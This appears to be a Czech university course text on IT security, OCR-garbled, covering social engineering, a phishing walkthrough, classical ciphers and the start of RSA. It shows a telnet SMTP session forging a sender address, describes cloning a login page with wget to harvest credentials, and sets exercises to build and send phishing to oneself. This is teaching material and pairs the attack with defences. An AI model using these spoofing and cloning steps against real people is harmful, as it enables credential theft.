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Socidlni inZenyrstvi

,Social engineering bypasses all technologies, including firewalls.”
Kevin Mitnick

Bezpetnost kazdého systému je uréena jeho nejslabsim clankem.
V socidlné-technickych systémech’ timto ¢lankem byva velmi ¢asto

vz

uzivatel. Socidlni inZenyrstvi vyuZzivd kombinaci manipulaénich tech-

s vz

nik, klamti, podvodného jednani s technickou znalosti ¢asti sys-
tému k vzbuzeni faleSné davéry uZivateld, ktefi ttoénikiim nékdy
i velmi ochotné poskytnou citlivé informace, pfistupové udaje ¢&i
fyzicky piistup.

Znamym pritkopnikem socidlnfho inZenyrstvi je autor tvodniho ci-
tatu — Kevin Mitnick, kterému se povedlo mnoho zajimavych soci-
alné inZenyrskych ttokii?. Zacinal pomérné nevinnymi ttoky — na-
piiklad ve svych dvandcti letech od fidi¢d autobusti vyzvédél, jak
interné funguje oznacovacl listkti, nevdhal ,investovat” do koupi
vlastntho oznacovace, kterého ,preprogramoval” tak, Ze z denni
jizdenky vyrobil tydenni a diky tomu jezdil zdarma. Vyuzil tedy
daveéru fidict, ktefi si pouze nezdvazné povidali s ditétem, a tak
ziskal néjakou informaci. Tu diikladné prostudoval, ziskal néjaky
technicky prosttedek a vSe zuro¢il ke svému zisku. Postupem casu
své ttoky zdokonaloval, podafilo se mu proniknout do pocitaco-
vych systémt velkych firem, uskuteciovat meziméstské telefonni
hovory zdarma a ziskal i citlivé vladni informace. Na zavér je nutno
podotknout, Ze vétsina jeho ¢int byla nelegalni, byl dopaden a od-
souzen. V kariéfe socidlntho inZenyra pokracoval i z vézeni, kde
obesel zabezpeceni telefonnich hovort. Po propusténi mu byl udé-
len zdkaz vyuZzivat jakoukoliv moderni techniku, kromé dratového
telefonu. Poté pracoval jako konzultant pro bezpec¢nosti firmy.
Dalsim pfikladem tspésného socidlni inZenyrstvi je Frank Abag-
nale Jr., jehoZ tspéchy se staly pfedlohou pro tspésny celovelerni
film Chyt” mé, kdyz to dokdZes3.

1 Systémy, ve kterych jsou zahrnuty tech-
nické systémy, procesy a hlavné lidé.

20 svych ,uspésich” se pochlubil v né-
kolika knihdch, k pie¢teni doporucuji
Umeéni klamu.

3Catch Me If You Can https://www.
imdb.com/title/tt0264464


https://www.imdb.com/title/tt0264464
https://www.imdb.com/title/tt0264464

8 Bezpectnost v IT

Phishing

Phishing je socidlné inZenyrsky ttok, jehoZ cilem je ziskat od uZi-
vatelti jejich citlivé tidaje — nejcastéji pfistupové tidaje do systému ¢i
udaje o platebnich kartach. Slovo phishing vzniklo kombinaci slov
password a fishing, tedy doslova rybafeni hesel. Tento nézev je velmi
trefny — dto¢nik nahod{ uZivateli ndvnadu a ten se na ni chyti. Tento
utok je v soutasné dobé velmi oblibeny — je pomérné snadné jej re-
alizovat, procento ,chycenych rybi¢ek” nemusi byt velké, ale titok
jde provést v masivnim méfitku.

Phishingové titoky jsou nejcastéji provadény tak, Ze ttoénik vytvorfi
vérohodnou kopii pfihlasovaci stranky webové aplikace. Vytvoii
podvodnou emailovou zpravu, ve které se snazi uzZivatele presvéd-
¢it, Ze mu piSe skute¢ny spravce webové aplikace. V této zprave je
na uZivatele vyvinut lehky natlak, Ze néco musi udélat do ¢asového
limitu, jinak bude néjak penalizovéan. UZivatel ve spéchu a nepozor-
nosti klikne na podstréeny odkaz vedouci na falesnou pfihlasovaci
stranku, vyplni své tdaje a odesle formulaf. Timto tto¢nik ziska
uzivatelovy pfistupové tdaje.

Realizaci ttoku muZe zkuSenéjsi uzivatel zvladnout do 10 minut,
provedeni celého ttoku si vyzkousime v nésledujicich podkapito-
lach.

Podvrzeni emailu

Pro realizaci naSeho phishingového ttoku si jako komunikac¢ni ka-
nél zvolime klasicky email*. Pro odeslani emailu se pouZziva proto-
kol SMTP(Simple Mail Transfer Protocol)>, jehoZ ptivodni ndvrh po-
chézi z roku 1981 a prakticky neimplementoval Zddné bezpetnostni
mechanismy. Komunikace probiha Cisté textoveé, ptivodné v 7bi-
tové ASCII, funkcionality jako jsou multimedidlni p¥ilohy, HTML
zpravy a digitdlni podpisy byly pfiddny az dodate¢né. Naptiklad
obrazky jsou prekédovany pomoci Base6s4 kédovani®. Zprava se
sklada ze dvou ¢&asti: hlavicky a téla. V hlavitce jsou uvedeny ser-
visni informace jako odesilatel, pffjemce, datum, ...Télo tvoii sa-
motnou zpravu. Kazdy rozumny emailovy klient umozni zobra-
zit celou zpravu v ,surovém” formatu. MhiZze vypadat naptiklad
takto?:

Message-ID: <a3fb7de7-1c01-4fe4-al2a-58b6b766b682Qupol.cz>
Date: Fri, 14 Feb 2025 12:48:43 +0100
User-Agent: Mozilla Thunderbird
Content-Language: cs-CZ
To: =7UTF-87Q7Radek_Jano=C5=A1t=C3=ADk?= <
radek. janostikQ@upol.cz>

4V praxi je také ¢asto vyuZivan, u pro-
myslenych ttoki se vSak miZeme setkat
s podvrzenymi SMS ¢i falesnymi telefo-
naty.

5https://www.rfc-editor.org/info/
rfc788

®https://www.rfc-editor.org/info/
rfc4648

7Z ukazky byly odstranény servisni in-
formace, které do hlavicky pfidévaji me-
zilehlé SMTP servery.


https://www.rfc-editor.org/info/rfc788
https://www.rfc-editor.org/info/rfc788
https://www.rfc-editor.org/info/rfc4648
https://www.rfc-editor.org/info/rfc4648

From: =?UTF-87Q7Radek_Jano=C5=A1t=C3=ADk?= <
radek. janostik@upol.cz>

Subject: =?UTF-87B?VWvDoXprb3bDvSBFbWFp?=

Content-Transfer-Encoding: 8bit

Ahoj,
toto je ukazkovy email.

R

Nejvétsim problémem SMTP protokolu je ¢astd slepa davéra v prav-
divost hlavi¢ek. Velmi ¢asto neni kontrolovédno, zda uzivatel, ktery
se pfihlasil na SMTP server, mtZe odesilat zpravy z dané emailové
adresy. Tedy vhodnou tipravou hlavicky To: se mtiZzeme vydavat za
nékoho jiného. Podobné mtizeme uvést jiné datum odeslani, ¢imz
muiiZeme oklamat emailové klienty, ktery miize zpravu chybné ¢a-
sové zafadit.

Pro podvrzeni hlavi¢ek emailu nepottebujeme upravovat zdrojové
kédy emailového klienta, mZeme vyuZit textovou povahu SMTP
protokolu a vytvofit zpravu ruéné. Podafi-li se ndm ziskat pristup
k nékterému SMTP serveru, mtiZeme zpravu odeslat pomoci po-
starstho nastroje telnet. Komunikace miize vypadat nasledovné®:

> telnet smtp.upol.cz 25

Trying 158.194.242.151...

Connected to smtp.upol.cz.

Escape character is o

220 smtp.upol.cz ESMTP (a88adc45816431fdaee334254f5f54a3)

> ehlo smtp.upol.cz

250-smtp.upol.cz Hello smtp.upol.cz [158.194.80.67], pleased
to meet you

250-SIZE 100000000

250-AUTH PLAIN LOGIN

250-AUTH=PLAIN LOGIN

250-STARTTLS

250-PIPELINING

250-8BITMIME

250 HELP

> mail from: tomas.urbanec@upol.cz
250 Sender <tomas.urbanec@upol.cz> 0K

> rcpt to: radek.janostik@upol.cz

250 Recipient <radek.janostik@upol.cz> OK

> data

354 Start mail input; end with <CRLF>.<CRLF>

Socialni inZenyrstvi 9

8Ve skutetnosti byl vyuZzit protokol
ESMTP, ktery rozsituje SMTP.
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> Subject: Predmet

> From: tomas.urbanec@Qupol.cz

> To: radek.janostikQupol.cz

> Date: Fri, 14 Feb 2025 13:00:00 +0100
>

>

Jdes na kafe? Hned! Platim, pokud neprijdes hned, platis
ty!
> .
250 Ok: queued as 33523D0051
> quit
221 smtp.upol.cz Goodbye smtp.upol.cz, closing connection
Connection closed by foreign host.

Réadky zatinajici znakem > znadi uZivatelsky vstup. Po dvodnim
pozdravu ndm server napiSe svou funkcionalitu. Prozradyi, jak velké
zpravy je schopen odeslat, Ze umoziiuje autentizaci a také pfechod
na Sifrovanou formu komunikace. Nic z toho v§ak nemusime vyu-
zit a mtizeme pokracovat nastavenim servisnich tidaji: kdo mé byt
uveden jako odesilatel (from:) a kdo méa byt pffjemcem (rcpt:). Po
pfikazu data nésleduje samotné vytvofeni emailové zpravy, véetné
hlavicky.

V hlavi¢ce znovu uvedeme pifjemce a odesilatele (tentokrat kvtili
korektnimu zobrazeni v emailovém klientovi), mtiZeme nastavit da-
tum odeslani® Po prazdném fddku nésleduje samotny text zpravy,
ukonc¢eny teckou na samostatném fadku. Pfikazem quit ukonéime
spojeni se SMTP serverem.

Pokud nds SMTP server umozni odeslat zpravu bez piihlaseni a
navic nekontroluje spravnost uvedenych tdaji dorazi zprava do
schranky piijemce. Na prvni (a ani druhy) pohled neni poznat, kdo
zpravu skute¢né napsal.

Predmet Tomas Urbanec 1:00 odp.
Od Tomas Urbanec % Odpovédét | @ Preposlat | B Archivovat | @ Nevyzadana posta | il Smazat| Vice v
Komu Radek Janostik 1:00 odp.

Pfedmét Predmet

Jdes na kafe? Hned! Platim, pokud neprijdes hned, platis ty!

Vérohodna kopie pfihlaSovaci stranky

Ukrdst p¥ihlasovaci webovou stranku je velmi jednoduché. Z prin-
cipu fungovani protokolu HTTP médme vSechna potiebnd data k dis-
pozici. Jiz jednoduchym vyuZitim funkce webového prohliZzece Ulo-
Zit stranku jako ziskdme HTML kod celé stranky. Nékteré prohliZzece
umi p¥imo uloZit celou stranku i s obrazky, pfipadné existuje velké

9Ve formatu definovanym v RFC 2822
https://www.rfc-editor.org/info/
rfc2822.

Obréazek 1: PodvrZzend zprava zobrazena
pomoci Mozilla Thunderbird.


https://www.rfc-editor.org/info/rfc2822
https://www.rfc-editor.org/info/rfc2822

mnozstvi doplitkii, které tuto funkcionalitu poskytuji.

V nasem pfikladé se pokusime vérné napodobit pfihlasovaci stranku
do univerzitnich systém@'®. Za pomoci programu wget si obsta-
rame prvotni kopii stranky.

> wget https://portal.upol.cz/Account/Login
Bez jakékoliv dalsi préce ale ziskana strdnka nevypada prilis dtve-

ryhodné. Je v anglickém jazyce, chybi na ni obrazky a nenacetly se
kaskadové styly (Obréazek 2).

Login information to Portal UP

Username

Rules of password security.

1. Never respond to any e-mail that prompts you to enter your password.

2. Always check if you are entering your password to a correct website.

3. Use a non-trivial password.

4. Do not share your password and do not keep it in places available to others

5. Do not enter the password on any untrusted devices.

6. Make sure your password is not seen by anyone when you're entering a system.
7. Do not use the same password for multiple systems.

1 cannot log in, what should I do?
‘What is a single sign-on system?

Tips for cyber safety

l»Univerzita Palackého
Computer Center
Contact | Suggestions and comments
Helpdesk - category Network services
|»facebook , twitter

Po prostudovani dokumentace programu wget zjistime, Ze toho
program umi mnohem vice. Umi stdhnout celou strdnku vcéetné ob-
razka a stylti, stdhnout vSechny odkazy az do zadané tirovné za-
nofeni, modifikovat cesty obrazkl na lokaln{ kopie ¢i nastavit pre-
ferovanou mutaci. Vhodnym pouZitim programu wget'* dokdzeme
béhem nékolika sekund vytvofit dtvéryhodné vypadajici podvod-
nou stranku (Obrazek 3).

Pro ticely tutoku jesté doddme serverovou Cast, kterd bude ukladat
data z formuléfe a tuto ,aplikaci” umistime na néjaky webovy ser-
ver'?,

Provedeni atoku

Pro findIni uskute¢néni ttoku potfebujeme vymyslet zpréavu, kte-
rou oklameme né$ cil. Jako inspirace ndim miuzZe poslouzit email,

Socialni inZenyrstvi 11

“https://portal.upol.cz/Account/
Login

Obréazek 2: Nedokonale odcizend piihla-
Sovaci strdnka

1 PYesné nastaveni bylo zdmérné zaml-
ceno.

2K ttoktim Casto slouZzi levné webhos-
tingové sluzby ¢&i pronajaté VPS(Virtual
Private Server) u poskytovateli cloudo-
vych sluzeb.


https://portal.upol.cz/Account/Login
https://portal.upol.cz/Account/Login
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v @ Jednotné prihlaseni | Unive X W Jednotné prihlaSeni | Unive X + - 0O X Obrézek 3. Iié VérOhOdI‘Ié pi’-ihlaéo‘]aci
5 G @ O soubor upol/teaching/xbez/portal.upol.cz/Account/Login.htmi * O X & stranka. Jeji stahovani trvalo o.02s, ruéni
Gprava absolutnich cest na relativni 10s.

Jednotné prihlaseni

Univerzita Palackého v Olomouci

Prihlasovaci Gdaje do Portalu UP Pravidla zabezpegenf hesla.

1. Nikdy nereagujte na e-mailové vyzvy k zadani hesla
& | Uzivatelské jménc 2. Vzdy si zkontrolujte, do jaké stréanky heslo zadavate
3. Pouzivejte netrivialni heslo
a . 4. Heslo nikomu nesdglujte a nepoznamenavejte si jej na
mistech dostupnych jinym osobam

p— 5. Nezadavejte heslo na ne hodnych zafizenich
6. Braiite se odpozorovani hesla &

7. Nepouzivejte stejné heslo do vice

pfi jeho zadavani

Nemohu se pfihlasit, co mém délat? Co je to jednotné prihlageni? Jak na kybernetickou bezpe&nost?
Centrum vypogetni techniky Kontakt | naméty a pfipominky.
Univerzita Palackého Helpdesk - kategorie Sitové sluzby
v Olomouci

ktery dorazil do mé sluZebni emailové schranky, jako odesilatel byl
uveden spravce@upoi.cz.

Dobry den,

v nasledujicich dnech bude probihat POVINE Skoleni

o kybernetické bezpelnosti. Uzivatellim kteri neabsolvuji
Skoleni o kybernetické bezpelnosti, bude od nasledujiciho
mésice zablokovan pristup k aplikaci UP Portal.

Rezervujte si termin Skoleni ZDE.
Pokud si nerezervujte termin do 24 hodin, bude vaSe schranka
zablokovéana.

Prejeme pékny den
tym kyberneticé security UP

7

V tomto pfipadé se jednalo o interni ,cviény” phishingovy ttok
uskutecnény Centrem vypocetni techniky nasi univerzity, nicméné
dobfe ilustruje spole¢né znaky:

® Podvrzena nebo snadno zaménitelnd emailovd adresa (pis-
meno i misto I).

¢ Natlak na uZzivatele — pokud néco neudéld, bude potrestan.
o Casovy natlak — musi danou véc provést rychle.

e Skryta URL odkazu — fetézec ,ZDE”.



e Casto nedokonaly jazyk — pravopisné chyby, chyby v inter-
punkci®3.

Obrana

Provedeni phishingového titoku je az prekvapivé snadné. V nékte-
rych pfipadech mutZe mit i vysokou ,vytéZnost”. Osobné se mi
podafilo ,urybafit” na cvi¢né skupiné 16 hesel z celkovych 38 uzi-
vateld.

Efektivni (netechnickou) obranou je prevence — osvéta uzivatelti.
Vysvétlovani principti, spole¢nych znakti, nabadédni k pozornosti
(kontrola URL adres) a celkové opatrnosti. Technicky je moZné phishin-
gové ttoky znesnadriovat vhodnou konfiguraci SMTP serverti (nutna
autentizace, kontrola spravnosti odesilateli a pffjemcti), nastave-
nim antispamového feSeni(nepustit uzivatelim podezielé emaily
do schranky) & procesni vynuceni digitadlniho podepisovani emaild
v dané organizaci.

Ukoly

Ukol 1

Zvolte si va$ oblibeny informaéni systém ¢i sluzbu a vytvoite
vérohodnou kopii pfihlasovaci stranky. Pro diikladnéjsi procvi-
¢eni doporucuji zvolit modernéjsi webové sluzby, jejichz pfihla-
Sovaci strdnku neni tiplné snadné zkopirovat. Zajistéte, aby byla
stranka dostupnd z Internetu.

Ukol 2

Objevte ve svém okoli SMTP servery a prozkoumejte jejich moz-
nosti. Zkuste podvrhnout adresu odesilatele, pfipadné zkuste
zaloZit vérohodnou emailovou schranku u nékterého poskytova-
tele emailové sluzby.

Ukol 3
Vytvofte dtavéryhodnou phishingovou zpravu odkazujici na
stranku z prvniho tkolu a zkuste ji nékomu'# odeslat.

Socialni inZenyrstvi 13

3 Neni spolehlivy znak — tto¢nik muze
napsat zpravu ditkladné, bez chyb.

4 Pro ucely cviceni a z legalnich diivodtl
,atoéte” sami na sebe.
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Klasické sifry

Terminem klasické Sifry rozumime symetrické Sifry, které byly vy-
uzivany v pribéhu déjin pro Sifrovani komunikace. Z dnes$niho
pohledu jsou tyto Sifry z hlediska bezpe¢nosti ddvno pfekonané
— mame k dispozici mnohem vétsi znalosti matematiky, ale hlavné
obrovsky vypocetni vykon, ktery ndim umoziuje ttoky hrubou silou
15

Pro tcely cviteni a pro usnadnéni vypoctli se omezime pouze na
znaky anglické abecedy, bez specidlnich symbolt a &islic. Jednot-
livym znaktim pfifadime ¢iselnou hodnotu podle pofadi pismene
v abecedé: A — 0,B — 1, ..., Z — 25. VeSkeré uvedené Sifry vSak
budou fungovat i bez tohoto omezeni.

S cisly(které reprezentuji znaky) budeme provadét matematické ope-
race: s¢itani, od¢itani, nasobeni. Vyuzitim téchto operaci v klasické
podobé by se mohlo stit, Ze ,piete¢eme mimo rozsah hodnot”.
Napftiklad: 04T, tedy 14 + 19 = 33, 33 vSak nereprezentuje Zadny
znak. Musime vyuZit tzv. moduldrni aritmetiky*®, kde budou vegkeré
vysledky téchto operaci celo¢iselné déleny 26 a jako vysledek se
bude bréat zbytek po celo¢iselném déleni. Timto se vzdy , vratime”
do rozsahu 0 — 25. Tedy v nasem piipadé (14 + 19) mod 26 =

33 mod 26 = 8, vysledkem bude znak I.

Posouvaci Sifra

Prvnim zastupcem klasickych Sifer je posouvaci Sifra. Jedna se o mo-
noabecedni Sifru, kde je znak z otevfeného textu mapovdan na jiny
znak téZe abecedy, ktery je posunut o urcity pocet pozic. O kolik
pozici se zdrojovy znak posune udava kli¢'”.

Mgjme kli¢ k a znak x, $ifrovaci funkce je definovana: e(x, k) = x +k,
desifrovaci funkce d(y, k) =y — k.

Méjme fetézec znaki: ZA SVITANI ZACNETE S UTOKEM a kli¢ G. Sif-
rovaci funkce posune kazdé pismeno o 6 pozic:

e 7+G=25+6mod26=5—F
* A+G=0+6mod26=6—>G

e S+G=18+6mod26=24—Y

15 Casto téZ bruteforce — zkouseni viech moz-
nyjch kombinact.

1Pro presnéjsi definici nahlédnéte do
materidld z 2. pfednasky prezentniho
studia

17 Zvolime-li kli¢ D, dostaneme slavnou
Caesarovu Sifru.
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.
* M+G=12+6mod26=15—=S

Vysledny text bude: FG YBOZGTO FGITKZK Y AZUQKS.

Posouvaci $ifra ma velmi malou mnozZinu kli¢t — 26 moznych kli¢t.
Tedy pro desifrovani jakéhokoliv Fetézce ndm staci vyzkouset maxi-
malné 26 moznosti, coZ je u kratkych textti otdzkou nékolika minut
pfi manudlnim feseni, ¢i jednoho cyklu v pfipadé vyuziti pocitace.
Spravnost klice se ¢asto ovéfuje tak, Ze vysledek ,dévd smysl”,
u kratkych zprav se vSak miiZe stat, Ze zprava bude déavat smysl

pro vice kli¢a'8.

Ukol 4
Zasifrujte text SEJDEME SE NA HRBITOVE posouvaci Sifrou s kli-
¢em T.

Ukol 5
Bez znalosti kli¢e desifrujte text GL EQ FQEUY ZM ANQP, ktery byl
zasifrovan posouvaci Sifrou.

Afinni Sifra

Na afinni $ifru mtiZeme nahliZet jako na modifikovanou posouvaci
gifru. Tentokrat nebudeme znak pouze posouvat o urcité mnoz-
stvi pozic v abecedg, ale jesté budeme hodnotu znaku nésobit ¢asti
klice. Touto modifikaci se fadové zvétsi mnozina moZnych kli¢t,
ale stéle plati, Ze dany znak otevfeného textu se vZdy zobrazi na
stejny znak v kryptogramu, bez ohledu na jeho pozici v textu.
Kli¢em tedy budou dva znaky (a,b), kde volbu a musime omezit
tak, aby a bylo nesoudélné s 26, tedy gcd(a,26) = 1. Bez tohoto
omezeni by se u nékterych a mohlo stat, Ze by se dva rtizné znaky
otevieného textu zobrazily na stejny znak v kryptogramu, coz by
zpusobilo nejednoznacénost pti desifrovani.

Pro znak x a kli¢ (a,b) definujeme Sifrovaci funkci e(x, (a,b)) =
ax + b a desifrovaci funkci d(y, (a,b)) = a~'(y — b), kde a~! je in-
verzni prvek k a v Z;. Tento inverzni prvek mtiZeme vypocitat na-
pfiklad rozsifenym Euklidovym algoritmem. VSimnéme si, Ze pfi
kli¢i (a = 1,b) dostaneme posouvaci ifru.

Méjme Fetézec znakd: POZOR NA BRUTA a kli¢ (11, 6). Sifrovani bude
probihat nasledovné:

¢ 11-P+6=165+6mod 26 =15 =P

*11-0+6=154+6mod26 =4 —E

1 Zkuste najit né&jaky piiklad jak v Ces-
tiné, tak v angli¢ting.
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e 11-246=275+6mod 26 =21 — V
o :
e 11-A+6=0+6mod26=6—>G

Vysledny text bude: PEVEL TG RLSHG.

Pro desifrovani potfebujeme nejprve vypocitat inverzni prvek v Zyg
k 11. Zavolame rozsiteny Euklidtv algoritmus egcd(11,26), ktery
kromé vysledku 1 (¢isla jsou nesoudélnd) vrati dvojici hodnot (-7, 3).
Nasi hledanou inverzi bude ¢islo —7. Z pocatku mtZze byt pocitani
se zapornymi ¢isly v modularni aritmetice mirné matouct, ¢islo —7
muiiZeme nahradit ¢islem 19, protoze spada do stejné zbytkové tiidy
v Zye. Poté jiz mtizeme piimo aplikovat desifrovaci funkci.

Méjme zaSifrovany text MLKPHEULGJQY, ktery vznikl zaSifrovanim
otevieného textu afinni Sifrou za pouziti klice (11,6). DesSifrovani
bude probihat nasledovneé:

®19-(M—6)mod26 =19 (12 —6) mod 26 = 114 mod 26 =
10 =+ K

® 19.-(L—6)mod 26 =19 (11 —6) mod 26 = 95 mod 26 =
17 =R

® 19-(K—6)mod26 =19 (10 —6) mod 26 = 76 mod 26 =
24 =Y

* 19-(Y—6)mod 26 =19-(24 —6) mod 26 = 342 mod 26 =
4 —E
Pavodni otevieny text byl: KRYPTOGRAFIE.
MnoZina moZnych kli¢h je pro afinni Sifru sice fddové vétsi
nez u posouvaci $ifry, konkrétné existuje 312 rtiznych kli¢t™, 926 9(26) = 26-12 = 312
neni vsak dostatetné velkd, aby neslo $ifru prolomit hrubou
silou.

Ukol 6
Zasifrujte text VRAHEM JE ZAHRADNIK afinni Sifrou s klicem
(17,13).

Ukol 7
Spocitejte inverzi v Zye pro &islo 17 a deSifrujte text WQNMVDJ KD
KTMNH, ktery byl zasifrovan afinni Sifrou.

17
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Vigenerova Sifra

Vigenerova $ifra je polyabecedni $ifrou — znak otevieného textu se
jiz nemusi zobrazovat na vzdy stejny znak v kryptogramu. Rozdil-
nost zobrazeni urcuje pozice, na které se znak v otevieném textu
vyskytoval. Zpravu jiz nebudeme chapat jako fetézec jednotlivych
znaktl, které jsme Sifrovali ,kazdy zvlast”, ale budeme ji chadpat
jako posloupnost m-tic znakd. Klicem také nebude jediné pismeno,
ale fetézec pismen — klicové slovo délky m.

Mgjme kli¢ k = (ky,...,ky) Vigenerova Sifrovaci funkce je defino-
véna: e(x, k) = (x1 +ky,...,xm + kp), desifrovaci funkce je defi-
novana obdobné: d(y, k) = (y1 —k1,...,Ym — km). Na Vigenerovu
Sifru miZeme nahliZet jako na , posouvaci Sifru po slozkach”.
Méjme fetézec znakd: ZVITEZILI JSME a klicové slovo ZEUS. Ote-
vieny text rozdélime na fetézce po ¢tyfech znacich: ZVIT, EZIL,
1JSM, E. Prvni znaky budeme posouvat s klicem Z, druhé s klicem
E, tfeti s klicem U a ¢tvrté s klicem S:

e Z+Z=25+25mod26=24 Y
e V+E=214+4mod26=25—2Z
e I+U=84+20mod26=2—=C
e T+8=19+18mod26 =11 =1L

Pro dalsi ¢tvetice budeme postupovat analogicky. Vysledny kryp-
togram bude: YZCLDDCDH NMED>°.

Uplné stejné probiha desifrovani, jen misto s¢itdni pouZijeme ode-
¢itand.

MnozZina moZnych kli¢d je pro Vigenerovu Sifru prakticky neome-
zena*', pro ziskani kli¢e je potieba vyuZit sofistikovanéjsich metod
neZ hrubé sily. StéZejni je zjistit délku klice. K odhadu délky klice
slouzi Kasiského test, ktery pfedpoklada, Ze stejné tseky otevie-
ného textu se zaSifrujf na stejné tseky kryptogramu, pokud je jejich
vzdélenost celo¢iselnym ndsobkem délky klice. MtiZe se také pou-
zit Friedmantv test, ktery je zaloZen na statistickych vlastnostech
jazyka. Po zjisténi délky klice miizeme pouzit hrubou silu jako na
posouvaci Sifru ,,po slozkdch”.

Ukol 8
Zasifrujte text JE TO PROSTE MILY WATSONE pomoci Vigeneérovy
Sifry s klicem MYCROFT.

Ukol 9
Desifrujte text XDBLFS SCPXB VHJHS, ktery byl zasifrovanou Vi-

20 VEimnéme si, Ze znak otevieného textu
I se dvakrat zobrazil na C, protoZe byly
na tfetich pozicich v dil¢ich fetézcich,
nicméné tieti vyskyt se zobrazil na H.

2 Extrémnim pifpadem mftiZe byt stejné
dlouhy kli¢ jako zprava samotnd. CoZz
se miiZe zdat nepraktické, ale skute¢né
se tato technika pouZzivala. Viz. One-time
pad.



generovou Sifrou s klicem UPOL.

2 we

Substituéni Sifra

Principem substitu¢ni Sifry je zdména (substituce) znaku otevfe-
ného textu za znak v kryptogramu. Klicem je stanoveni libovolného
bijektivniho zobrazeni mezi znaky abecedy otevfeného textu a znaky
kryptogramu. Matematicky se toto bijektivni zobrazeni reprezen-
tuje permutaci znakt. Klicem pro substitu¢ni Sifru je libovolna per-
mutace znakti 71, Sifrovaci funkce je definovéna: e(x, 1) = m(x) a
desifrovact: d(y, w) = w1 (y).

Méjme kli¢ reprezentovany fetézcem GEISFVPNZJMUDHOQYTKXLBWRAC,
ten definuje bijektivni zobrazeni, kde znak otevieného textu A se
zobrazi na znak kryptogramu G, B—E, C—1I, ..., Z—C. Timto kli¢em

zaSifrujeme zpravu: DOBYJEME BERLIN JAKO PRVNI-D—S,0—0,B—E,

Y—4, ..., I—=Z. Vysledny kryptogram bude: SOEAJFDF EFTUZH JGMO
QTBHZ.
Pro desifrovani staci aplikovat inverzni permutaci.

Ukol 10
Substituc¢ni Sifrou zaSifrujte text PROLOMILI JSME ENIGMU klicem
XUMBEDIKAOYGHWJTFNPVSLRQCZ.

Ukol 11
Desifrujte kryptogram YKIW FL QKOLJ IO RCFL YKIW,
ktery vznikl za pouZiti substituéni Sifry s klicem
IPHTLSGUCFYWQMEVNKDOBJZAXR.
MnozZina moZnych kli¢ pro substitu¢ni Sifru je pomérné velkd —
26!, ¢iselné 403291461126605635584000000, prolamovani hrubou si-
lou neni efektivni. Slabinou substitu¢ni $ifry je, Ze neméni Cetnosti
vyskytt jednotlivych znak®, mizeme tedy pouzit frekventni ana-
lyzu.

Frekvené¢ni analyza

Frekvenc¢ni analyza vychdzi z pozorovéni, Ze se v pfirozeném ja-
zyce vykytujf jednotlivé znaky s rtiznou frekvenci. Nap¥iklad znak
E se v anglickych textech vyskytuje s frekvenci ~ 12.702 %, ¢i znak
T s frekvenci ~ 9.056 %. JelikoZ substitu¢ni Sifra nemeéni tyto frek-
vence, miizeme si spocitat vyskyty jednotlivych znakia v krypto-
gramu a u dostate¢né dlouhych textti miizeme pfedpokladat, Ze

Klasické sifry

19
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nejastéji se vyskytujici znak bude E. Tabulka 1 ukazuje Cetnosti

vSech znaku.

E 12702% | D 4253% | P 1.929 %
T 9056% | L 4025% | B 1.492%
A 8167% | C 2782% | V 0.978 %
O 7507% | U 2758% | K o0.772 %
I 6.966% | M 2406% | ] 0.153%
N 6749% | W 2360% | X 0.150 %
S 6327% | F 2228% | Q 0.095 %
H 6.094% | G 2015% | Z 0.074 %
R 5987% | Y 1.974%

Pfesnost frekven¢ni analyzy mizeme zvysit pocitdnim Cetnosti bi-
gramii a trigramii — dvojic a trojic znakd. Napfiklad bigram TH se
vykytuje s frekvenci ~ 1.52 %, HE s frekvenci ~ 1.28 %. Trigram
THE s frekvenci ~ 1.81 % ¢&i AND s frekvenci ~ 0.73 %?2. Takto mi-
Zeme snadnéji odhadnout nékteré znaky, dalsi miiZeme manualné
odhadovat ¢&i (polo)automaticky za pouZiti slovniki. Iterativné se

k vyslednému kli¢i dobereme pomérné rychle.

Ke zrychleni nalezeni kli¢e ndm mohou dopomoci dalsi vlastnosti
daného jazyka — napiiklad v angli¢tiné je velmi malo slov, ve kte-

rych se po znaku Q nevyskytuje znak U.

Ukol 12

Ve vaSem oblibeném programovacim jazyce spocitejte
hash SHA256 ze zfetézeni vasSeho jména a pfijmeni. Z vy-
sledku vezméte prvni Cislici zleva. Stahnéte si cvitny text
z  https://apollo.inf.upol.cz/~ janostik/slides/bezit/
[cislicel.txt. DeSifrujte tento text, ktery vznikl substitu¢ni
sifrou. Cvicny text je v angli¢ting, neobsahuje mezery a specidlni
znaky. Snazte se pouZzit vlastni feSeni, nedoporucuji pouzivat
automatické deSifratory, analyzatory ¢i velké jazykové modely.

Tabulka 1: Cetnosti vyskytl znakii v an-
glickych textech.

22Geznam Cetnych bigramt a trigramt
muZeme nalézt nap¥. na Wikipedii, neni
slozité si jej spocitat z dostate¢né dlou-
hych anglickych textti.


https://apollo.inf.upol.cz/~janostik/slides/bezit/[cislice].txt
https://apollo.inf.upol.cz/~janostik/slides/bezit/[cislice].txt

RSA

Sifra RSA?3 je hojné uzivanym zdstupcem asymetrickych Sifer. P
dostatetné délce klice(> 2048) bitti je dodnes povaZovéna za bez-
pecnou i pfes to, Ze byla publikovana téméf pied solety — v roce
1977. Jeji bezpecnost je zaloZena na sloZitosti rozkladu velkého ¢isla
na jeho prvociselné ¢initele.

Pffjemce musi nejprve vygenerovat dvojici kli¢t — soukromy a ve-
fejny. Soukromy kli¢ musi drZet v tajnosti, vefejny muiZze oteviené
distribuovat ,do celého svéta”. Pti ztraté soukromého klice by jiz
nemohl kryptogramy desifrovat, pfi zvefejnéni ¢i tniku by mohl
kryptogramy desifrovat kdokoliv.

Pffjemce nahodné zvoli** dvé velkd(> 1024 bitd) prvocisla p a g,
ktera vyndsobi a ziska ¢islo n = p - 4. Se znalosti prvocisel p a g
muze velmi snadno vypodéitat ¢(n) = (p —1) - (g — 1). Dale na-
hodné zvoli ¢&islo e € {1,2,...,¢(n) — 1}, tak aby bylo nesoudélné
s ¢(n), tedy gcd(e, ¢(n)) = 1. Zvolené e se nazyva vefejnyj exponent.
Posledni fazi je vypocet inverzniho prvku k e v Z,,,). Oznatime jej
d = e ! mod ¢(n).

Pro Sifrovani a deSifrovani bude potfeba:

* vefejny klie: (n, e);
e soukromy kli¢: d,

pouzita prvocisla p a g jiz nebudou potieba, mohou se zahodit, ale
nikdy se nesmi zvefejnit.

Otevfené texty a kryptogramy budeme chapat jako ¢isla, pro praci
s RSA je rozdélime na &iselné bloky x; tak, aby x; < n. Sifro-
vaci funkce je poté definovéna: e(x;, (e,)) = x{ mod n, desifrovact:
d(y;,d) = y¥ mod n.

Nejprve musi pfifjemce vytvofit soukromy a vefejny kli¢, pro tcely
